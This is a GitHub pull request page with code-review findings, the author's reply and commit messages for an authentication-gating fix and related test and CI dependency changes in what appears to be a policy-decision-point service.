  • FastAPI applies include-level dependencies before route-level ones, so enforce_pdp_token still runs before notify_seen_sdk — no regression for authed routes (valid-token allow-path tests for /kong, /authorized_users, /nginx_allowed all pass).

Findings

Postable

# Sev File:Line Category Description
1 MEDIUM requirements-dev.txt:7 (+ .github/workflows/tests.yml) Isolation / scope Urgent security fix bundled with the pdp-tester CI migration (3rd divergent copy across #317/#318/#319) and a pytests fix that pins aiohttp<3.14 — a strategy contradicting #318's conftest.py shim. Recommend splitting CI/test-infra out so the security fix merges cleanly.

Informational

# Sev Ref Category Description
I1 LOW horizon/authentication.py:12 Robustness (pre-existing) authorization.split(" ") unpacked into schema, token raises ValueError -> HTTP 500 (not 401) for a header with no space or >1 space (e.g. Authorization: Bearer). Still denies, but 500; now reachable on all enforcer routes via the router-level dep. Pre-existing (line unchanged); partition(" ") / length-check would be cleaner.
I2 LOW horizon/authentication.py:14 Security hygiene (pre-existing) Token compared with != (not constant-time). Low practical risk for a network bearer token; pre-existing, unchanged here.
I3 INFO requirements-dev.txt:7 Test fidelity Dev-pinning aiohttp<3.14 means tests run against 3.13.x while the shipped image (requirements.txt aiohttp>=3.13.3,<4) resolves to 3.14.x — tests no longer exercise the prod aiohttp line.
I4 INFO docker-scout / security-snyk (CI) Pre-existing / infra docker-scout red (residual base-image CVEs; this branch does not bump image deps); security/snyk red on a quota limit — neither is a finding. pytests / pdp-tester / build / rust / pre-commit all green.
I5 INFO cross-PR (#321) Interaction #321 adds a default-deny auth MIDDLEWARE. If both land, #321's middleware and this PR's router-level dep double-gate the enforcer routes (defense-in-depth, fine) — but #321's allowlist MUST include the public /health route mounted here, or health breaks. Flagged for #321's review.

Blast radius: Auth surface only — all enforcer routes now gated at router level; other routers unchanged (already gated); /health intentionally public. No downstream schema/data changes. The bundled tests.yml collides with #318/#319 on the same file.

Isolation / scope: Core security work is well-isolated and complete. Out-of-scope CI/test-infra bundled in (MEDIUM) — 3rd divergent tester-migration copy + a contradictory pytests fix.

Comment thread requirements-dev.txt Outdated
aioresponses
# aioresponses 0.7.x cannot mock aiohttp>=3.14 (ClientResponse gained a required
# stream_writer argument); keep the test env on 3.13.x until aioresponses catches up
aiohttp<3.14

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MEDIUM] Urgent security fix bundled with churny CI/test-infra changes (3rd divergent copy of the tester migration; test-fix strategy contradicts #318)

Problem: This PR's load-bearing change is the security fix (gate /kong, split /health, router-level auth — commit b8a4637), which is flagged URGENT. It also drags in two unrelated CI/test-infra changes that make it slower and riskier to land:

Suggestion: Split the CI/test-infra changes (tests.yml + requirements-dev.txt) out of this security PR so the urgent fix can merge on its own, and consolidate the tester migration + the pytests fix into a single dedicated PR (coordinated with #318/#319) instead of three divergent copies.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed by merging main into this branch (a044bb3) and reconciling to it, rather than splitting the PR — #318 has since landed on main, so the churn now nets out:

  • requirements-dev.txt — dropped the aiohttp<3.14 pin. fix: patch 18 of 24 CVEs in pdp-v2 image (PER-15358) #318's horizon/tests/conftest.py aioresponses shim (now on main) is the single strategy; the suite runs against aiohttp 3.14.x, matching the shipped image. This also resolves I3 (test fidelity).
  • .github/workflows/tests.yml — reconciled to main's version (which carries fix: patch 18 of 24 CVEs in pdp-v2 image (PER-15358) #318's Docker-runtime migration + the docker-scout VEX wiring). No longer a divergent copy: git diff main -- .github/workflows/tests.yml is now empty.

Net result: the PR's diff against main is now only the four security-fix files (authentication.py, enforcer/api.py, pdp.py, test_enforcer_api.py) — the urgent fix is effectively isolated as you suggested, and on squash-merge the intermediate CI commits collapse out. Full horizon/tests suite green post-merge (72 passed).

dshoen619 added a commit that referenced this pull request Jul 7, 2026
- Import MockPermitPDP by basename (from test_enforcer_api) instead of
  horizon.tests.*: CI installs the package non-editably, so the wheel has
  no tests/ package and the dotted import aborted all pytest collection.
  Basename matches pytest's prepend import mode and also avoids a duplicate
  module object (second OpalClient construction) in local full-suite runs.
- Accept 401 or 422 for a missing Authorization header: 422 on current
  main (required-param validation), 401 once PR #317 gives the param a
  None default. Survives either merge order; still fails on 200/500.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
dshoen619 added a commit that referenced this pull request Jul 7, 2026
aioresponses 0.7.x cannot mock aiohttp>=3.14 (ClientResponse gained a
required stream_writer argument), which fails 34 enforcer/local-api tests
in CI. Identical to the pin in #317 so either merge order resolves cleanly.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
dshoen619 added a commit that referenced this pull request Jul 7, 2026
PER-15358 (#318, now merged into this branch) fixes the aioresponses/
aiohttp-3.14 incompatibility with a stream_writer compat shim in
horizon/tests/conftest.py, deliberately keeping the test env on the
CVE-patched 3.14 line. The pin (mirrored from #317 before #318 landed)
would force CI back to 3.13.x, bypass the shim, and reintroduce the
dev/prod version skew.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
dshoen619 and others added 2 commits July 8, 2026 12:13
main's #318/#322 independently did the same k3d->Docker pdp-tester rewrite
this branch had, plus docker-scout VEX waivers and CVE bumps. Resolution:

- .github/workflows/tests.yml: take main's version wholesale — it is a
  refined superset (adds START_TIMEOUT, cleaner --local --tag next flags,
  and the docker-scout OpenVEX waiver wiring this branch lacked).
- requirements-dev.txt: drop the `aiohttp<3.14` pin. main deliberately
  stays on aiohttp 3.14 (June 2026 security fixes, not backported to 3.13.x)
  and shims aioresponses via horizon/tests/conftest.py instead; keeping the
  pin would reintroduce those CVEs into the image.

Net effect: the PR now diffs against main as only the PER-15244 auth change
(authentication.py, enforcer/api.py, pdp.py, test_enforcer_api.py).
Full horizon/tests suite: 72 passed.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@dshoen619
dshoen619 merged commit 59e50c7 into main Jul 8, 2026
8 of 9 checks passed
@dshoen619
dshoen619 deleted the david/per-15244-pdp-gate-kong-split-health-to-a-public-router-move-enforcer branch July 8, 2026 12:47
dshoen619 added a commit that referenced this pull request Jul 9, 2026
…calls (PER-15246) (#320)

* feat: replace legacy /update_policy* 307 redirects with direct gated calls (PER-15246)

The gated aliases /update_policy and /update_policy_data 307-redirected to the
canonical OPAL trigger routes. Many HTTP clients (requests, httpx, browsers)
strip Authorization on redirect, so once the canonical routes are gated by the
upcoming default-deny middleware (PER-15245), a legitimate SDK calling the alias
with a token would get 307 -> token dropped -> 401.

Call the OPAL updaters directly instead of redirecting, mirroring the canonical
handlers (policy_updater.trigger_update_policy / data_updater.get_base_policy_data,
503 when the data updater is disabled). Keep the per-route enforce_pdp_token gate
and drop the now-unused RedirectResponse import.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* test: address Copilot review on legacy update-route tests

- Assert the 503 detail string matches the canonical data route exactly.
- Use httpx `is_redirect` instead of `!= 307` so the no-redirect guard covers
  every redirect code (301/302/303/307/308), since clients drop Authorization
  on all of them.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix: restore canonical trigger log lines on legacy alias routes

The canonical OPAL trigger handlers log the API-originated trigger; the
direct-call rewrite dropped that, leaving SDK-triggered full re-pulls
unattributable in PDP logs during incident debugging.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* test: fix CI collection break and #317 status-code collision (review)

- Import MockPermitPDP by basename (from test_enforcer_api) instead of
  horizon.tests.*: CI installs the package non-editably, so the wheel has
  no tests/ package and the dotted import aborted all pytest collection.
  Basename matches pytest's prepend import mode and also avoids a duplicate
  module object (second OpalClient construction) in local full-suite runs.
- Accept 401 or 422 for a missing Authorization header: 422 on current
  main (required-param validation), 401 once PR #317 gives the param a
  None default. Survives either merge order; still fails on 200/500.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* ci: pin aiohttp<3.14 in dev requirements (mirrors #317)

aioresponses 0.7.x cannot mock aiohttp>=3.14 (ClientResponse gained a
required stream_writer argument), which fails 34 enforcer/local-api tests
in CI. Identical to the pin in #317 so either merge order resolves cleanly.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* test: correct two comment inaccuracies flagged in review

- The fixture comment claimed monkeypatch mutations could leak across
  modules; monkeypatch reverts at teardown, so state the real rationale
  (defensive isolation from the shared singleton).
- httpx's is_redirect covers any 3xx, not just the five common codes.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* ci: drop aiohttp<3.14 dev pin, superseded by conftest shim from main

PER-15358 (#318, now merged into this branch) fixes the aioresponses/
aiohttp-3.14 incompatibility with a stream_writer compat shim in
horizon/tests/conftest.py, deliberately keeping the test env on the
CVE-patched 3.14 line. The pin (mirrored from #317 before #318 landed)
would force CI back to 3.13.x, bypass the shim, and reintroduce the
dev/prod version skew.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs: note deliberate canonical parity on unguarded policy_updater (review)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
dshoen619 added a commit that referenced this pull request Aug 3, 2026
…routes always enforce the PDP token (PER-15243)

The rollout toggle is no longer wanted: the update-trigger routes
(/policy-updater/trigger, /data-updater/trigger, /update_policy,
/update_policy_data) and /kong now enforce the PDP token
unconditionally, as established by #317/#320/#321. This removes the
flag, the enforce_pdp_token_operational warn-and-allow wrapper, the
per-route warn throttle, the /kong router split, and the
toggle-specific tests, restoring the strict gates.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants